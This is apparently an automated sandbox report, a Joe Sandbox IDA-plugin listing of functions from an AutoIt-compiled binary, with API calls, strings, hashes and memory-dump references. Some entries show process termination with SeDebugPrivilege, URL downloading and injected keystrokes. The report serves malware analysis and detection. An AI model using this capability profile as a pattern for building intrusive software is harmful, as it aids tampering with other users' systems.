                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                                • String ID:
                                                • API String ID: 3113390036-3916222277
                                                • Opcode ID: 145e4ce4e7371ac2c4597e118233678cde74d661e5f7754d0b0fce7cfbc4d490
                                                • Instruction ID: dad6076fa770d3be228e4916b890b6f06a6bd3e0147f2b82fe5e790a779f0f8d
                                                • Opcode Fuzzy Hash: 145e4ce4e7371ac2c4597e118233678cde74d661e5f7754d0b0fce7cfbc4d490
                                                • Instruction Fuzzy Hash: 0231B1B5521304AFDB229F648CA8AAF7BFCEB09740F14A61DF44692680DB34DD059B60
                                                Function 002F989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,002D3AAF,?,?,Bad directive syntax error,0032CC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 002F98BC
                                                • LoadStringW.USER32(00000000,?,002D3AAF,?), ref: 002F98C3
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 002F9987
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: HandleLoadMessageModuleString_wcslen
                                                • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                • API String ID: 858772685-4153970271
                                                • Opcode ID: e9486468c2e557e235c9d5040ffb5a5755a278ef456c5c76ed60912df3ad9098
                                                • Instruction ID: 909d9a5e507ad8215ab5a1b5d6201ac491ca7d809d8f3b8b6e9046848876d7cc
                                                • Opcode Fuzzy Hash: e9486468c2e557e235c9d5040ffb5a5755a278ef456c5c76ed60912df3ad9098
                                                • Instruction Fuzzy Hash: 0A21713186021EABCF12EF90CC06EFD7739BF18705F04446AF515620A1DB7196A8CF50
                                                Function 002F209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetParent.USER32 ref: 002F20AB
                                                • GetClassNameW.USER32(00000000,?,00000100), ref: 002F20C0
                                                • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 002F214D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ClassMessageNameParentSend
                                                • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                • API String ID: 1290815626-3381328864
                                                • Opcode ID: 926d3ddba999cdb7afda0ecd7b327b7ece81767447e114e4c1ba18b3f76e4289
                                                • Instruction ID: 34d023021174b606582c7b6f0d947f26986b1ebcbb10a3d624d082a4f8d98f1a
                                                • Opcode Fuzzy Hash: 926d3ddba999cdb7afda0ecd7b327b7ece81767447e114e4c1ba18b3f76e4289
                                                • Instruction Fuzzy Hash: 86112E761B470BF5FA122620DC1BDF7B35CDB06395F200125FF08A40E3EAA1A82D5918
                                                Function 002CCE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _free$EnvironmentVariable___from_strstr_to_strchr
                                                • String ID:
                                                • API String ID: 1282221369-0
                                                • Opcode ID: 1bb7b54edb175fd33ab8d5392c1fb27390f423091166b2c7b37ec88946388ff9
                                                • Instruction ID: 36085c091388ca973f4b80d62e3a0912b1a561754b8b46dfd02da1413ba1311b
                                                • Opcode Fuzzy Hash: 1bb7b54edb175fd33ab8d5392c1fb27390f423091166b2c7b37ec88946388ff9
                                                • Instruction Fuzzy Hash: 85616A71924302AFDB25AFB49C82F6E7BA9EF01310F24436EF948D7251DA719D218B90
                                                Function 003250D4 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00325186
                                                • ShowWindow.USER32(?,00000000), ref: 003251C7
                                                • ShowWindow.USER32(?,00000005,?,00000000), ref: 003251CD
                                                • SetFocus.USER32(?,?,00000005,?,00000000), ref: 003251D1
                                                  • Part of subcall function 00326FBA: DeleteObject.GDI32(00000000), ref: 00326FE6
                                                • GetWindowLongW.USER32(?,000000F0), ref: 0032520D
                                                • SetWindowLongW.USER32(?,000000F0,00000000), ref: 0032521A
                                                • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 0032524D
                                                • SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00325287
                                                • SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00325296
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
                                                • String ID:
                                                • API String ID: 3210457359-0
                                                • Opcode ID: 2c9029862a035a211af4ef20bbbe547e823a6334b09505ffc321db157097b664
                                                • Instruction ID: a881bd39fe00fb0b76388bb54214bba9f80c3cb00bfdd658929cacbca2a4f37b
                                                • Opcode Fuzzy Hash: 2c9029862a035a211af4ef20bbbe547e823a6334b09505ffc321db157097b664
                                                • Instruction Fuzzy Hash: 1251B330A50A28FFEF329F24EC46BD87B69FB05321F144415F6159A2E0C775ABA4DB40
                                                Function 002A8B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 002E6890
                                                • ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 002E68A9
                                                • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 002E68B9
                                                • ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 002E68D1
                                                • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 002E68F2
                                                • DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,002A8874,00000000,00000000,00000000,000000FF,00000000), ref: 002E6901
                                                • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 002E691E
                                                • DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,002A8874,00000000,00000000,00000000,000000FF,00000000), ref: 002E692D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Icon$DestroyExtractImageLoadMessageSend
                                                • String ID:
                                                • API String ID: 1268354404-0
                                                • Opcode ID: 98888398ffeef00cb85e54c56a4f92d016a935c18d4f9b2977a2eb30a31915e1
                                                • Instruction ID: b0e7d60c6ced3af26651789178ab02953b4c33dc1938863eecb9b1fed5e2fb59
                                                • Opcode Fuzzy Hash: 98888398ffeef00cb85e54c56a4f92d016a935c18d4f9b2977a2eb30a31915e1
                                                • Instruction Fuzzy Hash: 2551AC70620206EFDB21CF25CC55BAA7BB9FF59354F144518F916D72A0DBB0E9A0CB60
                                                Function 0030C143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0030C182
                                                • GetLastError.KERNEL32 ref: 0030C195
                                                • SetEvent.KERNEL32(?), ref: 0030C1A9
                                                  • Part of subcall function 0030C253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0030C272
                                                  • Part of subcall function 0030C253: GetLastError.KERNEL32 ref: 0030C322
                                                  • Part of subcall function 0030C253: SetEvent.KERNEL32(?), ref: 0030C336
                                                  • Part of subcall function 0030C253: InternetCloseHandle.WININET(00000000), ref: 0030C341
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
                                                • String ID:
                                                • API String ID: 337547030-0
                                                • Opcode ID: 019e9af66499be4426cbcbf87bf800f138aa45031599786d0ea4a9f4ca0a4e65
                                                • Instruction ID: eaf79909ebd0013cc76053b9d00a2230f6827752f12a00d0af46a33c85e224d4
                                                • Opcode Fuzzy Hash: 019e9af66499be4426cbcbf87bf800f138aa45031599786d0ea4a9f4ca0a4e65
                                                • Instruction Fuzzy Hash: F731A071522705EFDB229FA5DD14A6ABBFCFF18300F046A1DF95686A50C730E811DBA0
                                                Function 002F25A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002F3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 002F3A57
                                                  • Part of subcall function 002F3A3D: GetCurrentThreadId.KERNEL32 ref: 002F3A5E
                                                  • Part of subcall function 002F3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,002F25B3), ref: 002F3A65
                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 002F25BD
                                                • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 002F25DB
                                                • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 002F25DF
                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 002F25E9
                                                • PostMessageW.USER32(?,00000100,00000027,00000000), ref: 002F2601
                                                • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 002F2605
                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 002F260F
                                                • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 002F2623
                                                • Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 002F2627
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                • String ID:
                                                • API String ID: 2014098862-0
                                                • Opcode ID: d772fae9161bfae41caa5b189c13c6bb2860f0dcaf700933bbc0fd26d6cedf6b
                                                • Instruction ID: e2ef794c7904bd36dd8005287953eb4142b1bf42d117a0a3deaf0bc1931c8107
                                                • Opcode Fuzzy Hash: d772fae9161bfae41caa5b189c13c6bb2860f0dcaf700933bbc0fd26d6cedf6b
                                                • Instruction Fuzzy Hash: E401D4307A0614BBFB2067699C8AF69BF5DDF4EB52F101015F328AE0D1C9F224598A69
                                                Function 002F1803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,002F1449,?,?,00000000), ref: 002F180C
                                                • HeapAlloc.KERNEL32(00000000,?,002F1449,?,?,00000000), ref: 002F1813
                                                • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,002F1449,?,?,00000000), ref: 002F1828
                                                • GetCurrentProcess.KERNEL32(?,00000000,?,002F1449,?,?,00000000), ref: 002F1830
                                                • DuplicateHandle.KERNEL32(00000000,?,002F1449,?,?,00000000), ref: 002F1833
                                                • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,002F1449,?,?,00000000), ref: 002F1843
                                                • GetCurrentProcess.KERNEL32(002F1449,00000000,?,002F1449,?,?,00000000), ref: 002F184B
                                                • DuplicateHandle.KERNEL32(00000000,?,002F1449,?,?,00000000), ref: 002F184E
                                                • CreateThread.KERNEL32(00000000,00000000,002F1874,00000000,00000000,00000000), ref: 002F1868
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                • String ID:
                                                • API String ID: 1957940570-0
                                                • Opcode ID: f6676757b9e88e5bd7c2bb907683024bdb5a5663096f61b615d03072ba81074b
                                                • Instruction ID: 6eda53d37c7fcea5b840c83871ae9aa505be75931ee2b2188a2f84b9e15aedf0
                                                • Opcode Fuzzy Hash: f6676757b9e88e5bd7c2bb907683024bdb5a5663096f61b615d03072ba81074b
                                                • Instruction Fuzzy Hash: D701FBB5250308BFE721ABA5DC4EF6B3BACEB89B00F104414FA04DB1A1CA70A811CB60
                                                Function 0031A0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002FD4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 002FD501
                                                  • Part of subcall function 002FD4DC: Process32FirstW.KERNEL32(00000000,?), ref: 002FD50F
                                                  • Part of subcall function 002FD4DC: CloseHandle.KERNEL32(00000000), ref: 002FD5DC
                                                • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0031A16D
                                                • GetLastError.KERNEL32 ref: 0031A180
                                                • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0031A1B3
                                                • TerminateProcess.KERNEL32(00000000,00000000), ref: 0031A268
                                                • GetLastError.KERNEL32(00000000), ref: 0031A273
                                                • CloseHandle.KERNEL32(00000000), ref: 0031A2C4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                • String ID: SeDebugPrivilege
                                                • API String ID: 2533919879-2896544425
                                                • Opcode ID: e87b8b95ac260b69780c3018e2c54d84af232f4806c44812eb2e28c527e2c965
                                                • Instruction ID: d43bda9fbcad3c4e0a89d25bbdde87df94b2cb895de05de625f9a3729f1df23e
                                                • Opcode Fuzzy Hash: e87b8b95ac260b69780c3018e2c54d84af232f4806c44812eb2e28c527e2c965
                                                • Instruction Fuzzy Hash: F161F330215601AFD725DF14C484F69BBE5AF48318F55849CE4568BBA3C772EC86CF82
                                                Function 00323886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00323925
                                                • SendMessageW.USER32(00000000,00001036,00000000,?), ref: 0032393A
                                                • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00323954
                                                • _wcslen.LIBCMT ref: 00323999
                                                • SendMessageW.USER32(?,00001057,00000000,?), ref: 003239C6
                                                • SendMessageW.USER32(?,00001061,?,0000000F), ref: 003239F4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend$Window_wcslen
                                                • String ID: SysListView32
                                                • API String ID: 2147712094-78025650
                                                • Opcode ID: 9beb422b7d751f264a4dc61583300909d33fc6400002690727814bebd59ae02b
                                                • Instruction ID: 646268f6eda176a0145d15e0849586863405c2eebf3770c72b6e2383e988bf46
                                                • Opcode Fuzzy Hash: 9beb422b7d751f264a4dc61583300909d33fc6400002690727814bebd59ae02b
                                                • Instruction Fuzzy Hash: F241E431A00228ABEF229F64DC45FEE7BA9FF08350F110526F958E7281D3759D94CB90
                                                Function 002FBC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 002FBCFD
                                                • IsMenu.USER32(00000000), ref: 002FBD1D
                                                • CreatePopupMenu.USER32 ref: 002FBD53
                                                • GetMenuItemCount.USER32(00CD55D8), ref: 002FBDA4
                                                • InsertMenuItemW.USER32(00CD55D8,?,00000001,00000030), ref: 002FBDCC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Menu$Item$CountCreateInfoInsertPopup
                                                • String ID: 0$2
                                                • API String ID: 93392585-3793063076
                                                • Opcode ID: 696851395c85e185d65a420800a38f0835790fb03835e561402e3571c859dcda
                                                • Instruction ID: 16f1f70590f89d5c96e7c085bf882b67f145e29ce1726026d64a80ffa8846007
                                                • Opcode Fuzzy Hash: 696851395c85e185d65a420800a38f0835790fb03835e561402e3571c859dcda
                                                • Instruction Fuzzy Hash: 3A51B37062020E9BDF22DFA8C888BBEFBF8AF45394F244179E601D7290D7709955CB52
                                                Function 002B2D20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON
                                                Download Yara Rule
                                                APIs
                                                • _ValidateLocalCookies.LIBCMT ref: 002B2D4B
                                                • ___except_validate_context_record.LIBVCRUNTIME ref: 002B2D53
                                                • _ValidateLocalCookies.LIBCMT ref: 002B2DE1
                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 002B2E0C
                                                • _ValidateLocalCookies.LIBCMT ref: 002B2E61
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                • String ID: &H+$csm
                                                • API String ID: 1170836740-3590388639
                                                • Opcode ID: 1909a4fbb5a7502bda4cd33ce0972a63eacb8c6cecc63b892b59642df1d48339
                                                • Instruction ID: 9f7fcb947df303ea4b4694437203dd2243eb260f67da443181aaf876a22905b8
                                                • Opcode Fuzzy Hash: 1909a4fbb5a7502bda4cd33ce0972a63eacb8c6cecc63b892b59642df1d48339
                                                • Instruction Fuzzy Hash: 92418334A2030AEBCF10DF68C845ADEBBA5FF45394F148155E814AB392D771EA29CF91
                                                Function 002FC874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadIconW.USER32(00000000,00007F03), ref: 002FC913
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: IconLoad
                                                • String ID: blank$info$question$stop$warning
                                                • API String ID: 2457776203-404129466
                                                • Opcode ID: f3b32ddd4802fb228af0620bc7b61ea71435d075c68c1267ecfd7dfbe818e5e3
                                                • Instruction ID: fe955529e96da0c491b1944a84d933691d0774b04ee57ccbcc05fc4abb01c910
                                                • Opcode Fuzzy Hash: f3b32ddd4802fb228af0620bc7b61ea71435d075c68c1267ecfd7dfbe818e5e3
                                                • Instruction Fuzzy Hash: 15110B316B930FBAE7026B54DD83CFAA79CDF153D5B70003AFA00A7292D7E19E145664
                                                Function 002FED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _wcslen$LocalTime
                                                • String ID:
                                                • API String ID: 952045576-0
                                                • Opcode ID: a3691a9455e8a1cdf411d981faa6f9ff2c6d472d8539e4d48a46d6d3023c9cc7
                                                • Instruction ID: f105b9c7950889173063da0bd98440fc80116a191d89864e6dbbebfa80b91172
                                                • Opcode Fuzzy Hash: a3691a9455e8a1cdf411d981faa6f9ff2c6d472d8539e4d48a46d6d3023c9cc7
                                                • Instruction Fuzzy Hash: 6441B565C2025876DB11FBF48C8AADFB7ACAF45390F508462EA14E3122FB34D265C7A5
                                                Function 002AF8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON
                                                Download Yara Rule
                                                APIs
                                                • ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,002E682C,00000004,00000000,00000000), ref: 002AF953
                                                • ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,002E682C,00000004,00000000,00000000), ref: 002EF3D1
                                                • ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,002E682C,00000004,00000000,00000000), ref: 002EF454
